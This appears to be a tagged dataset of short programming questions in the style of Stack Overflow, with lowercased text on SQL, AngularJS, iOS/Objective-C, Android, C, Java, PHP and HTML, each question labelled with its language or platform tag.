¿ how to create a select query that displays data if they match at least one word   example :    i have a column in my database that keeps a book genres ... and most have something in its genre as   action   adventure  horror   .    i have 3 books  one is adventure   romance .    another is action  horror .    and the last one is action   science fiction .    suppose  i want to search all books that have the word  action  ... the query would have to return the last two books  because their gender have the word   action   .    how could i do this in sql,sql
is there something similar to the severity enumeration in the bcl   simple question. :) is there an equivalent to the <a href= http://msdn.microsoft.com/en-us/library/microsoft.visualstudio.package.severity.aspx  rel= nofollow noreferrer >microsoft.visualstudio.package.severity</a> enumeration in the .net framework base class library (bcl),.net
setonitemlongclicklistener for expanded listview gives incorrect itemindex if preceding group is expanded  i m populating expanded list view by extending baseexpandablelistadapter.<br>code for childview:<br>   <pre><code>public view getchildview(final int groupposition  final int childposition              boolean islastchild  view convertview  viewgroup parent) {  layoutinflater in=getlayoutinflater(); convertview=in.inflate(r.layout.details  null); //set text for various textviews from arraylist1  return convertview; } </code></pre>   code for groupview:   <pre><code>public view getgroupview(final int groupposition  boolean isexpanded              view convertview  viewgroup parent) { layoutinflater li= getlayoutinflater(); convertview=li.inflate(r.layout.list  null); //add data to arraylist1 and set text for various textviews return convertview; } </code></pre>   if a group is expanded and i long press on any of the subsequent group the onitemlongclick method gets (actual index + 1) value for parameter itemindex. because of this i get arrayindexoutofbounds exception.   <pre><code>elview.setonitemlongclicklistener(new onitemlongclicklistener() { public boolean onitemlongclick(adapterview&lt; &gt; arg0  view arg1                  final int itemindex  long arg3) { log.e( index selected   itemindex+  ); return false; }}); </code></pre>   am i missing something here,android
comparing json from service to data-bound value in angularjs  using a service i am retrieving a json array successfully  i am then pumping that data into my controller and trying to compare with a data bound value as the user enters what they would like their username to be  but i am not showing a log when the values should match. here is what i have:    angular service:   <pre class= lang-javascript prettyprint-override ><code>loginapp.factory( userdata   function($http  $log) {     return {         getusers: function(scb) {             $http({method:  get   url:  somelink/ajax/current_users.php }).                     success(function(data  status  headers  config) {                 $log.info(data  status  headers()  config);                 scb(data);             }).                     error(function(data  status  headers  config) {                 $log.warn(data  status  headers()  config);             });          }     }; }); </code></pre>   my controller:   <pre class= lang-javascript prettyprint-override ><code>loginapp.controller( logincontroller           function logincontroller($scope  userdata) {              // if i run a log on the `activeusers`              // i get the same console log as below                 userdata.getusers(function(current_users) {                 $scope.activeusers = current_users;             });              $scope.createaccnt = {                 fname:                     lname:                     username: function(invalue) {                     for (var i = 0; i &lt; $scope.activeusers.length; i++) {                         if ($scope.activeusers[i].username == invalue) {                             console.log( username matches existing!! );                         }                     }                 }                  email:                }; } </code></pre>  <hr>   json array returned:   <pre class= lang-json prettyprint-override ><code>[     {          user_id :  1            username :  userone            password :              first_name :              last_name :              email :              active :              auth_token :        }      {          user_id :  2            username :  usertwo            password :              first_name :              last_name :              email :              active :              auth_token :        } ] </code></pre>   console shows a status code of 200 and shows all of the data requested  it similar to this:   <pre><code>[object  object] &gt; 0     user_id:  1      username:  userone      password:        first_name:        last_name:        email:        active:  1      auth_token:        __proto__: object &gt; 1     user_id:  2      username:  usertwo      password:        first_name:        last_name:        email:        active:  1      auth_token:        __proto__: object </code></pre>   all of my data binding works perfectly  just the comparison. is my for loop or my if statement incorrect,angularjs
service in angular resolve $stateprovider  i am trying to use <code>resolve</code> and inject it a <code>factory</code> and then print the data returned by the resolve in a <code>controller</code>.     basically the code looks like pretty much :   <pre><code> angular         .module( approuter  [ ui.router ])         .controller( routerctrl  function(resolvedata){             console.log(resolvedata);          })         .factory( reposervice  function($http){             var api =  https://jsonplaceholder.typicode.com/posts/1 ;             return {                 getresolvedata : function($http){                     return $http.get(api);                 }              }         })         .config(function($stateprovider $urlrouterprovider){             $stateprovider                 .state( settings.profile  {                     url: /profile                       templateurl: templates/profile.html                  })                 .state( settings.account  {                     url: /account                       templateurl: templates/account.html                       controller: routerctrl                       controlleras: vm                       resolve:{                         resolvedata : function(reposervice){                             return reposervice.getresolvedata().then(function(response){                                 return response.data;                             });                         }                     }                 });              $urlrouterprovider.otherwise( /settings/profile );            }); </code></pre>   but the code does not work . <code>no error in console but the routing to settings/account does not work . and nothing is printed on the console.</code>    <strong>but</strong>    the below code works pretty fine if we do it without injecting a service.   <pre><code>            .state( settings.account  {                 url: /account                   templateurl: templates/account.html                   controller: routerctrl                   controlleras: vm                   resolve:{                     resolvedata : function(){                          var root =  https://jsonplaceholder.typicode.com ;                          return $http.get(root+ /posts/1 ).then(function(response){                               return response.data;                          });                     }                 }             }); </code></pre>   i cannot figure out what am i doing wrong   please explain.,angularjs
update id in table from another  i ve read other questions that may be duplicates but i can honestly not understand them.    <strong>site_news_comments.sql</strong>   has columns id  poster_id.    <strong>users.sql</strong>   has columns <em>id  comments</em>.    i m trying to run a query that does it for all rows in site_news_comments.   <pre><code>update users set comments = comments + 1 where id =  id from site_news_comments   ; </code></pre>   but more than 1 query so it updates all users who has data in site_news_comments    does this make any sense  sorry! how do i do this,mysql
setting static const char[] to a predefined static const char[] fails  hey guys! when i try to do the following in a header file   <pre><code>static const char foot[] =  foot ; static const char feet[] = foot; </code></pre>   i get a compiler error of <code>error: initializer fails to determine size of feet</code>. i was wondering what the cause of this is  and if there is a way to rectify it. thanks!,c++
using readfully in java  i am using readfully in java to read a file. the below code illustrates it.   <pre><code>import java.io.*;  public class randomaccessfiledemo {     public static void main(string[] args) {       try {          // create a string and a byte array           // create a new randomaccessfile with filename test              randomaccessfile raf = new randomaccessfile( /home/mayank/desktop/image/any.txt    rw );                // set the file pointer at 0 position              raf.seek(0);              int length = (int)raf.length();               // create an array equal to the length of raf              byte[] arr = new byte[length];               // read the file              raf.readfully(arr 0 length);               // create a new string based on arr              string s2 = new string(arr);               // print it              system.out.println(   + s2);               } catch (ioexception ex) {              ex.printstacktrace();           }        } } </code></pre>   the contents of any.txt is <code>hello world!!</code> the above code prints <code>hello world!!</code>    but when i change     <pre><code>raf.readfully(arr 0 length); </code></pre>   to   <pre><code> raf.readfully(arr 3 length-3); </code></pre>   instead of getting the output <code>lo world!!</code>  i get no error.    can any one explain me how to use readfully. or how to get the output <code>lo world!!</code>,java
ios appendfomat cause app to crash  is there anything wrong with the code below   it crash my app sometimes.   <pre><code>- (nsstring*) getdisplaystring {     nsmutablestring* display = [[nsmutablestring alloc] initwithstring:@  ];  for(nsuinteger i = 0; i &lt; [entries count]; i++) {     entry* e = [entries objectatindex:i];     [display appendformat:@ %d. %@ %30d\n   i+1  e.title  e.value];  }      return display; } </code></pre>,ios
how iphone app battery log works   i did some research and found that there is a log in the /private/var/ in which we can get the battery log. but unfortunately the iphone apps doesn t have read access to that file.    so i was wondering how the  battery log  works  (battery log is a app in the app store. it can display the battery history usage),iphone
ios autoreleasepool in main  and arc alloc  release  this is perhaps a naive question from ios newbie.    i see that typical ios application main.m has following code:   <pre><code>int main(int argc  char * argv[]) {     @autoreleasepool {         return uiapplicationmain(argc  argv  nil  nsstringfromclass([appdelegate class]));       } } </code></pre>   what is the point of having autoreleasepool around uiapplicationmain in ios application  uiapplicationmain doesn t return till the application actually exits so why have uiapplicationmain() in autoreleasepool  which triggers  free  for all the objects allocated during application s execution.,objective-c
how to submit an update after an app has been transferred  i transferred an ios app to a different account  but now i need to submit an update to that app.    i cannot figure out how to do this. if i use the team that now has the app i get an error stating that a diff team was used to sign the original. however  it will not work if i use the original account either since that account no longer has the app.,ios
how to insert a line of php code into a text file  i got a problem with my code here. what i m trying to do is create an index.php file in a user s folder automatically when a user signs up. that has been done actually  now the main problem is how to insert a line of code inside the  index.php  file created. below is the line of code i tried using to execute that:    this doesn t work (what i actually want):   <pre><code>$filepath = $_server[ document_root ]. / .$_session[ username ]. /index.php ; $fp = fopen($filepath   wb ) or die( can t open file ); $content =  &lt; php require($_server[ document_root ]. /home.php );  &gt; ; fwrite($fp $content); fclose($fp); </code></pre>   while this does:   <pre><code>$filepath = $_server[ document_root ]. / .$_session[ username ]. /index.php ; $fp = fopen($filepath   wb ) or die( can t open file ); $content =  this is a string ; fwrite($fp $content); fclose($fp); </code></pre>   so what i want is for the code in the content variable to go into the  index.php  file. any help on how to do this,php
input autofocus attribute  i have places in my code where i have this:   <pre><code>&lt;input data-ng-disabled= some_scope_variable  /&gt; </code></pre>   i would like to be able to use it like this too:   <pre><code>&lt;input data-ng-autofocus= some_scope_variable  /&gt; </code></pre>   or even better  mimicking how ng-style is done:   <pre><code>&lt;input data-ng-attribute= {autofocus: some_scope_variable}  /&gt; </code></pre>   does this exist in the current version of angularjs  i noticed in the code there s a boolean_attr which gets all the attr s that angularjs supports. i don t want to modify that in fear of changing versions and forgetting to update.,angularjs
c# -jquery like function chaining is possible in c#   as i am new to c#  just wish to know  can i perform function chaining in c# like jquery      example jquery :   <pre><code>$( #gview tbody tr )    .not( :first :last )    .filter( :odd )     .addclass( someclass )    .css( border   solid 1px grey ); </code></pre>   note : i don t mean clientside script.my only concern is <i> function chaining is possible in c# or not </i>,c#
java variable initialization using type in parentheses and without semicolon  i have seen this code:   <pre><code>integer statuscode = (integer) </code></pre>   strange  this is first time i see this syntax. can anyone explain this      why there is no semicolon at the end of the line     what does it mean if you put a type or class in parentheses     what is it s benefit to use it like that     edit: some answers mentioned that either the code is incomplete or gives a compile time error but i have tried it it works! actual code is from this page:<a href= https://www.tutorialspoint.com/servlets/servlets-exception-handling.htm  rel= nofollow >https://www.tutorialspoint.com/servlets/servlets-exception-handling.htm</a>,java
when i create an iphone window based app  how to tell interface builder create window for retina pixel size   i hope to create an iphone window based app for retina screen  but i found that the size of window in mainwindow.xib is fixed. how to adjust it or there is any to tell interface builder create window for retina pixel size     welcome any comment    thanks    interdev,iphone
rails 3 - cancan to edit the current user  when a user is looking at a user profile page  if the current user == the user profile i want to show an edit button...    so i have the following in the view:    <pre><code>    &lt;% if can  :update  @user %&gt;         &lt;%= link_to  edit   edit_user_registration_path %&gt;     &lt;% end %&gt; </code></pre>   and then in cancan i have the following:   <pre><code>def initialize(user) . . . can :update  user do |user2|   user2.try(:id) == user.id end </code></pre>   but this is always equaling yes. not sure why  ideas,ruby-on-rails
vbnet point of sale application datagridview  how can i add up a quantity column in a datagridview  and also a total price column with £ gbp currency  both are getting displayed as label.text    also how can i times the quantity column with the unit price column. this gives me the total price column figure    also where would i put the code because i have tried an example code but didn t work i want the item count and total price to change as the barcode is scanned and entered(so when the datagridview shows the result)    thanks    forgot to mention i m a total beginner.,.net
how can i select if date column is as same as current year  this is my <code>student</code> table   <pre><code>id(int) | name(varchar) | registerdate(date) 1         john            2012-01-01 </code></pre>   how can i write the appropriate query to check if the person s <code>registerdate</code> value is as same as current year (2012),sql
how to give barbuttonitem action   i want to bring up the .nib of  tableviewcontroller  when a done button is clicked on my uitoolbar. but the below isn t allowing the click to bring up a new view. how do i rectify this  please show me where i went wrong and what should be replaced and why.   <pre><code>//here s the selector in my overlay.  uibarbuttonitem *donebutton = [[uibarbuttonitem alloc] initwithbarbuttonsystemitem: uibarbuttonsystemitemdone target:self action:@selector(donebuttonpressed)];  //here s how i made my action. btw  the uitoolbar has no nib  it s an overlay on the //(camera mode).  -(void)donebuttonpressed { tableviewcontroller *tableview = [[tableviewcontroller alloc] initwithnibname:@ tableviewcontroller  bundle:nil]; tableview.modaltransitionstyle = uimodaltransitionstylecrossdissolve; [self presentmodalviewcontroller:tableview animated:yes]; }   //yet nothing happens when i click on my done button on my overlay. and i ve made sure //   i ve imported .h frameworks correctly too. </code></pre>   suppose you were to bring up a nib from a barbuttonitem which is on a uitoolbar overlay. how would you do it     i was told that to make it function properly i would have to add [barbuttonitem addtarget:self action:@selector(donebuttonpressed) forcontrolevents:uicontroleventtouchupinside];  .     but if i add it i get this:   <pre><code>uibarbuttonitem *donebutton = [[uibarbuttonitem alloc] initwithbarbuttonsystemitem: uibarbuttonsystemitemdone addtarget:self action:@selector(donebuttonpressed) forcontrolevents:uicontroleventtouchupinside]; </code></pre>   which results in me getting an error reading  instance method  - initwithbarbuttonsystemitem:target:action:forcontrolevents:  not found (return type defaults to  id )     instead of showing me only the correct additive  please show me the solution in addition to the code i ve written here.,ios
retain cycle and weak property  i have 3 classes: <code>core</code>  <code>cache</code> and <code>httpclient</code>    in <code>core</code> i initialize cache with param <code>core</code> and after i pass <code>cache</code> instance to <code>httpclient</code>.    <strong>core.m</strong>   <pre><code>-(id)init {     self = [super init];      mycache *cache = [[mycache alloc] initwithcore:self];     self.httpclient = [[myhttpclient alloc] initwithcache:cache]; } </code></pre>   <strong>cache.m</strong>   <pre><code>@interface mycache ()   @property (nonatomic  strong) myhttpclient *httpclient; @end  @interface core ()  @property (nonatomic  strong) myhttpclient *httpclient;  @end  @implementation mycache   -(instancetype) initwithcore: (core *)core   {     if (self = [self init]) {         self.httpclient = core.httpclient;     }     return self;   } @end  -(void)foo {   [self.httpclient dosomething]; } </code></pre>   <strong>myhttpclient.m</strong>   <pre><code>@interface myhttpclient : nsobject     @property (nonatomic  strong) mycache *cache;   -(instancetype) initwithcache: (mycache *)cache;  @end   @implementation myhttpclient  -(instancetype) initwithcache: (mycache *)cache {     if (self = [self init]) {         self.cache = cache;     }     return self; }  -(void) dosomething {   [self.cache cachesomething]; } </code></pre>   what you can see  <code>mycache</code> uses <code>myhttpclient</code> instance through dependency injection and on other hand  <code>myhttpclient</code> instance uses <code>mycache</code> instance.     is this called <strong>retain cycle </strong>    do i need to set <code>mycache</code> or <code>myhttpclient</code> property to be <em>weak</em>     thank,objective-c
in javascript  override root text of console.dir(myobj)  i m trying to make an class  <code>friendlystack</code>  used for debugging that has a message and a stack trace.  i use it primarily for detecting race conditions.  when <code>console.dir</code> is called on an instance of my class  i want the root node s text to display the message.    my function name is <code>gothere()</code> and it calls <code>console.dir</code> on an instance of <code>friendlystack</code>.   <pre><code>// debugging helper function function gothere(msg) {     console.dir(new friendlystack(msg)); }  class friendlystack {     constructor(msg) {         this.msg = msg;          // new error().stack gets the string of the stack trace         // .split( \n ) creates an array of each line of the stack trace         // .slice(3) removes the first three lines  which are:         //    error         //       at new friendlystack (...)         //       at gothere (...)         this.stack = new error().stack.split( \n ).slice(3);     }      // some override to make console.dir display this.msg as the root node     // instead of friendlystack } </code></pre>   for most classes/objects  when you call <code>console.dir</code> the root of the tree displayed is the name of the prototype of the object.   <pre><code>console.dir({foo:  bar }) v object     foo:  bar    &gt; __proto__: object  console.dir([1  2  3]) v array[3]    0: 1    1: 2    2: 3    length: 3  &gt; __proto__: array[0] </code></pre>   however  when you call it on a string or number  the displayed root is the value.   <pre><code>console.dir(1) &gt; 1  console.dir( foobar ) &gt; foobar </code></pre>   i would have expected  given the behavior of calling <code>console.dir(someobject)</code>  that <code>console.dir(1)</code> would have displayed <code>number</code> as the root node.  this different behavior suggests there might a way to change what s printed as the root node  but it also could just be that primitives are special cases.    is there a way to achieve my desired behavior   i tried overloading <code>friendlystack.tostring</code>  but that did not work.,javascript
sql server jobs using maintenance task(ssis)  how do i see jobs content that are created using maintenance tasks(ssis). i have index rebuild job thats failing. i wanted to see what tsql script that was created for this job. i right click on the job and checked the step. but it was not giving me enough info. it was created using the ssis task. please help,sql
allocating memory for sprintf problem   the problem is i dunno how long the string will be  so i dunno how much should i allocate for my data...   <pre><code>char *data = malloc(1024*1024);  //        sprintf(data   %s %s   data1  data2); </code></pre>   data1 and data2 varies in size from time to time.... from very very long to very small i was wondering if there is away to use sprintf without allocating memory or something  since the allocated memory could be small sometime..    thanks,c
parenthesis after uiviewcontroller  i saw some code when studying the open source project: <a href= https://github.com/inferis/viewdeck  rel= nofollow >here</a>.  but i can t figure out the meaning after i checked objective-c syntax.     the code looks like this:    <pre><code>@interface uiviewcontroller (uiviewdeckitem)  @property(nonatomic readonly retain) iiviewdeckcontroller *viewdeckcontroller;   @end  @implementation uiviewcontroller (uiviewdeckitem)  @dynamic viewdeckcontroller; ... @end  @implementation uiviewcontroller (uiviewdeckcontroller_viewcontainmentemulation_fakes)  ... @end </code></pre>   not sure where i can find the related obejctive-c info about this implementation.,objective-c
i am writing a program in c which searches the number stored in a txt file through a bst but there is mistake which i can t find  first portion of code is storing the integers in ans.txt   file through binary search trees.   <pre><code>/*code for storin the numbers in a particulr txt file */ #include&lt;stdio.h&gt; #include&lt;conio.h&gt; #include&lt;stdlib.h&gt;  struct root{  int val ; struct root *left ; struct root *right ;     };   void write(struct root * int);  // to write the numbers in a file    struct root *insrt(struct root *r int val){  struct root *p *q;  int ch i=0;  file   *fp;   if(r==null){     r=(struct root *)malloc(sizeof(struct root ));         p = r;         r-&gt;val=val;         r-&gt;left=r-&gt;right=null;           i++; }  else{ if(val&lt;r-&gt;val)     r-&gt;left=insrt(r-&gt;left val); else if(val&gt;r-&gt;val)     r-&gt;right=insrt(r-&gt;right val);  }  write(r i);  return r;  }    void write(struct root *r int i){   file *fp;   fp=fopen( texts/bst.txt   w );   fwrite(r sizeof(struct root) 1 fp);   fclose(fp);   }    void infile(struct root *r){  //storing the address of the root in ans.txt   file *fp;   fp=fopen( texts/ans.txt   a );   fprintf(fp  %d\n  r-&gt;val);    }    void show(struct root *r){   if(r){      show(r-&gt;left);     printf( %d   r-&gt;val);     infile(r);     show(r-&gt;right);     }       }     int main()    {        int val i=0 n;        char y;        struct root *r;        printf( enter the number:  \n );        while((y=getchar())!=eof){            if(y!=eof){                scanf( %d  &amp;val);                r=insrt(r val);                i++;            }         }         show(r);         return 0;    } </code></pre>   this portion is the search where i m trying to find the address of the     stored number and then from there i can apply the binary search tree     method for finding the number but there are some mistakes which    i coundn t find. please help me.   <pre><code>   /*code for search */     #include&lt;stdio.h&gt;    #include&lt;stdlib.h&gt;     struct root{        int val;        struct root *left;        struct root *right;       };       struct root *srch(struct root *r  int a){         if(r-&gt;val&gt;a){             return srch(r-&gt;left a);         }         else if (r-&gt;val&lt;a){              return srch(r-&gt;right a);         }         else          return r;     }      int main()     {         int num;         struct root *r *f;         r=(struct root *)malloc(sizeof(struct root ));         file *fp;         fp=fopen( texts/bst.txt   rb );         fread(r sizeof(struct root) 1 fp);         fclose(fp);         printf( enter the number:    );         scanf( %d  &amp;num);         f=srch(r num);          if(f)             printf( found );         else              printf( not found );         return 0;    } </code></pre>,c
select only video file using pickerview in iphone sdk  how to select only video file using pickerview in iphone sdk,iphone
how to handle  class type redefinition   i ve trying to work with an open source vc++ code. i m trying to add a new project to an existing vc++ solution which turned to be a nightmare. one of the problems i m facing is fixing  type redefinition  errors  i already fixed a few but now i m stuck on some others. the code base is huge so no snippests...    my questions is  is there any  best practice  to track down these errors     thanks.,c++
iphone developer certificate request  i have a standard developer account($99). can i generate the csr in my friends mac or does the mac also need to be registered on my name,iphone
start a service from a referenced library in android  i have an android project that starts a service. then i turned that into an android library and added it to another android project.  now i am trying to automatically start that service from my main android project but i am lost. this is my code from manifest(i have added all my classed from library):   <pre><code>  &lt;service             android:name= com.test.mqttclientserver.mqttservice              android:enabled= true              android:exported= false              android:label= service  &gt;             &lt;intent-filter&gt;                 &lt;action android:name= com.test.mqttclientserver.mqttservice  /&gt;             &lt;/intent-filter&gt;         &lt;/service&gt;          &lt;activity             android:name= com.test.mqttclientserver.mqttclient              android:label= @string/app_name  &gt;         &lt;/activity&gt;         &lt;activity             android:name= com.test.mqttclientserver.mqttnotifier              android:label= @string/app_name  &gt;         &lt;/activity&gt; </code></pre>   in an activity of the main project:   <pre><code>private boolean mbounded;     private mqttservice mservice;     private mqttconnectionstatus connectionstatus = mqttconnectionstatus.initial;  ..... public ibinder onbind(intent intent) {         return mbinder;     }      public mqttconnectionstatus getconnectionstatus() {         return connectionstatus;     }      serviceconnection mconnection = new serviceconnection() {          public void onservicedisconnected(componentname name) {             toast.maketext(splashscreen.this   service is disconnected   1000)                     .show();             mbounded = false;             mservice = null;         }          public void onserviceconnected(componentname name  ibinder service) {             toast.maketext(splashscreen.this   service is connected   1000).show();             mbounded = true;             localbinder mlocalbinder = (localbinder) service;             mservice = (mqttservice) mlocalbinder.getservice();         }     };      public void onstart(final intent intent  final int startid) {         system.out.println( onstart loading... );         intent mintent = new intent(this  mqttservice.class);         bindservice(mintent  mconnection  bind_auto_create);         system.out.println( onstart ending... );     }      protected void onstop() {         super.onstop();         if (mbounded) {             unbindservice(mconnection);             mbounded = false;         }     } </code></pre>   isn t this enough   just a hint would suffice. thank you for your time.,android
html images - two adjacent images  i have two images that i want adjacent but they appear one above the other. here is the code:   <pre><code>&lt;div style= float:left; &gt; &lt;div style= float:left; &gt; &lt;img src= /logo.png  style= float:left;  /&gt;&lt;/div&gt;  &lt;div style= float:left; &gt; &lt;img src= /logo2.png  width= 55  style= float:left;  height= 50 /&lt;/div&gt; &lt;/div&gt; </code></pre>   note that both divs containing the two images are themselves within a div that is floated to the left.    thanks.,html
hide  loader  div when first image in stack loads   i m using a div that covers the page content until the first image in a set for a slideshow loads.  the code i m using to hide this div is as follows  but it s not working:   <pre><code>$(function() {   $( .slide ).first(function() {     $(this).load(function() {       $( #loader ).fadeout( slow );     });   }); }); </code></pre>   any idea why   the  loader  div doesn t hide even after the entire page loads.  i have had some success running $( #loader ).fadeout( slow ); on (window).load().,jquery
"form get method with multiple pages  i m trying to get data from 4 different pages. each page has a form and they all call <code>environmentdata</code> servelet.    how do i collect the data from all the pages  it works on the first page but when i m on the second page the data on the first page is null... <strong>how do i retain all the data until the user completes the 4 pages to input data </strong>    <strong><em>if i could check for example: if page1.... save this variables.... if page2....because atm when i m the page2 it will overwrite the previous page variables with null.</em></strong>    imagine 4 pages similar to this one.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= container &gt;
     &lt;form action= environmentdata  method= get  id= page1 &gt;
     &lt;div class= row &gt;
     &lt;div class= col-md-5 &gt;
         &lt;div class= row &gt;
             &lt;div class= form-group &gt;
                     &lt;label&gt;name:&lt;/label&gt;&lt;input type= text  class= form-control  name= name &gt;
             &lt;/div&gt;
         &lt;/div&gt;
         &lt;div class= row &gt;
             &lt;label&gt;deploy apps:&lt;/label&gt;
             &lt;div class= well &gt;
                 &lt;div class= checkbox &gt;
                     &lt;label&gt;&lt;input type= checkbox  value=  &gt;profile7&lt;/label&gt;
                 &lt;/div&gt;
                 &lt;div class= checkbox &gt;
                     &lt;label&gt;&lt;input type= checkbox  value=  &gt;webcsr&lt;/label&gt;
                 &lt;/div&gt;
                 &lt;div class= checkbox &gt;
                     &lt;label&gt;&lt;input type= checkbox  value=  &gt;webadmin&lt;/label&gt;
                 &lt;/div&gt;
                 &lt;div class= checkbox &gt;
                     &lt;label&gt;&lt;input type= checkbox  value=  &gt;webclient&lt;/label&gt;
                 &lt;/div&gt;
             &lt;/div&gt;
         &lt;/div&gt;
         &lt;div class= row &gt;
             &lt;label&gt;gitlab branches:&lt;/label&gt;
             &lt;ul class= nav nav-tabs &gt;
                 &lt;li class= active &gt;&lt;a data-toggle= tab  href= #profile7 &gt;profile7&lt;/a&gt; &lt;/li&gt;
                 &lt;li&gt;&lt;a data-toggle= tab  href= #webcsr &gt;webcsr&lt;/a&gt;&lt;/li&gt;
             &lt;/ul&gt;
             &lt;div class= tab-content &gt;
                 &lt;div id= profile7  class= tab-pane fade in active &gt;
                     &lt;!--todo insert gitlab p7 --&gt;
                     &lt;p&gt;profile 7 bla bla&lt;/p&gt;
                 &lt;/div&gt;
                 &lt;div id= webcsr  class= tab-pane fade &gt;
                     &lt;!--todo insert gitlab webcsr --&gt;
                     &lt;p&gt;webcsr bla bla&lt;/p&gt;
                 &lt;/div&gt;
             &lt;/div&gt;
         &lt;/div&gt;
     &lt;/div&gt;
     &lt;div class= col-md-5 col-md-offset-2 &gt;
         &lt;div class= row &gt;
            &lt;label&gt;from system date:&lt;/label&gt;
             &lt;div class= form-group &gt;
                 &lt;div class= input-group date  id= initialdate &gt;
                     &lt;input type= text  class= form-control  /&gt;
                     &lt;span class= input-group-addon &gt;
                         &lt;span class= glyphicon glyphicon-calendar &gt;&lt;/span&gt;
                     &lt;/span&gt;
                 &lt;/div&gt;
                 &lt;script type= text/javascript &gt;
                     $(function () {
                         $( #initialdate ).datetimepicker();
                     });
                 &lt;/script&gt;
             &lt;/div&gt;
         &lt;/div&gt;
         &lt;div class= row &gt;
             &lt;label&gt;to system date:&lt;/label&gt;
             &lt;div class= form-group &gt;
                 &lt;div class= input-group date  id= finaldate &gt;
                     &lt;input type= text  class= form-control  /&gt;
                     &lt;span class= input-group-addon &gt;
                         &lt;span class= glyphicon glyphicon-calendar &gt;&lt;/span&gt;
                     &lt;/span&gt;
                 &lt;/div&gt;
             &lt;/div&gt;
             &lt;script type= text/javascript &gt;
                 $(function () {
                     $( #finaldate ).datetimepicker();
                 });
             &lt;/script&gt;
         &lt;/div&gt;
         &lt;div class= row text-center &gt;
             &lt;h4&gt;dayends to run: &lt;b&gt;7&lt;/b&gt;&lt;/h4&gt;
         &lt;/div&gt;
         &lt;div class= row &gt;
             &lt;label&gt;users:&lt;/label&gt;
             &lt;div class= well &gt;
                 &lt;div class= checkbox &gt;
                     &lt;label&gt;&lt;input type= checkbox  value=  &gt;bill gates&lt;/label&gt;
                 &lt;/div&gt;
                 &lt;div class= checkbox &gt;
                     &lt;label&gt;&lt;input type= checkbox  value=  &gt;will smith&lt;/label&gt;
                 &lt;/div&gt;
                 &lt;div class= checkbox &gt;
                     &lt;label&gt;&lt;input type= checkbox  value=  &gt;gianluca dinucci&lt;/label&gt;
                 &lt;/div&gt;
                 &lt;div class= checkbox &gt;
                     &lt;label&gt;&lt;input type= checkbox  value=  &gt;fausto lopes&lt;/label&gt;
                 &lt;/div&gt;
             &lt;/div&gt;
         &lt;/div&gt;
     &lt;/div&gt;
     &lt;/div&gt;
     &lt;div class= row &gt;
     &lt;!--pagination--&gt;
     &lt;div class= text-center &gt;
         &lt;nav&gt;
             &lt;ul class= pagination text-center &gt;
                 &lt;li class= page-item &gt;&lt;a class= page-link  href= # &gt;previous&lt;/a&gt;&lt;/li&gt;
                 &lt;li class= page-item active &gt;&lt;a class= page-link  href= generalsetup.jsp &gt;1&lt;/a&gt;&lt;/li&gt;
                 &lt;li class= page-item &gt;&lt;a class= page-link  href= clients.jsp &gt;2&lt;/a&gt;&lt;/li&gt;
                 &lt;li class= page-item &gt;&lt;a class= page-link  href= accounts.jsp &gt;3&lt;/a&gt;&lt;/li&gt;
                 &lt;li class= page-item &gt;&lt;a class= page-link  href= transactions.jsp &gt;4&lt;/a&gt;&lt;/li&gt;
                 &lt;li class= page-item &gt;&lt;a class= page-link  href= transactions.jsp &gt;next&lt;/a&gt;&lt;/li&gt;
             &lt;/ul&gt;
         &lt;/nav&gt;
     &lt;/div&gt;
     &lt;/div&gt;
         &lt;input type= submit  value= submit &gt;
     &lt;/form&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     servlet:   <pre><code>    @webservlet(name =  environmentdata ) public class environmentdata extends httpservlet {      protected void doget(httpservletrequest request  httpservletresponse response) throws servletexception  ioexception {         printwriter out = response.getwriter();         response.setcontenttype( text/html );         string name = request.getparameter( name );         system.out.println(name);         out.println(name);          response.sendredirect( clients.jsp );      } } </code></pre>",html
continue foreach loop from a specific point within array  i have an array containing lots of hours:   <pre><code>$hours = array(      06:00    06:30    07:00    07:30    08:00    08:30    09:00    09:30         10:00    10:30    11:00    11:30    12:00    12:30    13:00    13:30         14:00    14:30    15:00    15:30    16:00    16:30    17:00    17:30         18:00    18:30    19:00    19:30    20:00    20:30    21:00    21:30        22:00    22:30    23:00    23:30    00:00    00:30    01:00    01:30         02:00    02:30    03:00    03:30    04:00    04:30    05:00    05:30    ); </code></pre>   i d like to begin looping through from a specific point e.g.  12:30 .    i have tried to use  continue  (as below)  but this is ignored. any ideas what i am doing wrong    <pre><code>foreach ($hours as $hour) {      if ($hour ==  12:30 ) continue;      echo $hour .  &lt;br&gt; ; } </code></pre>,php
testing if cocoa object references are valid   i m doing some lazy image loading for thumbnails to be displayed in a table. i have a class that loads the image for me asynchronously...but my problem (or at least  a problem) is that by the time the image loads  i have no idea whether the cell that initiated the image load even exists anymore. is there a way for me to test to see if a particular object reference is valid before i call it     thanks.,iphone
how to display xml2json data  i am using xml2json to translate a xml file from medline. i am stuck on using ng-repeat to display the information i need. i need to display the title url and see-reference. when i have one health-topic in the xml file the title and url display fine. when i add more health-topics it does not work. any help is appreciated  thanks <a href= http://plnkr.co/edit/5ebrjh9w76q1cfgvmv5x p=preview  rel= nofollow >plunkr</a>   <pre><code>  &lt;table&gt;     &lt;tr ng-repeat= topic in topics &gt;          &lt;td&gt;{{topic._title}}&lt;/td&gt;         &lt;td&gt;{{topic._url}}&lt;/td&gt;         &lt;td&gt;{{topic.see-reference}}&lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt;  &lt;pre&gt;{{topics | json}}&lt;/pre&gt; </code></pre>,angularjs
accessing self in nsblockoperation – retain cycle  <pre><code>self.operationqueue = [[nsoperationqueue alloc] init]; [self.operationqueue addoperationwithblock:^{     [self dosomethingelse];         }];  - (void)dosomethingelse {     [self doanother]; } </code></pre>   does this create a retain cycle  i keep a reference to the operation queue but not the operation. thoughts,objective-c
is there any way i can maintain password history of a user in asp.net application   i need to view users password history in an asp.net application.    is there any way to achieve it,asp.net
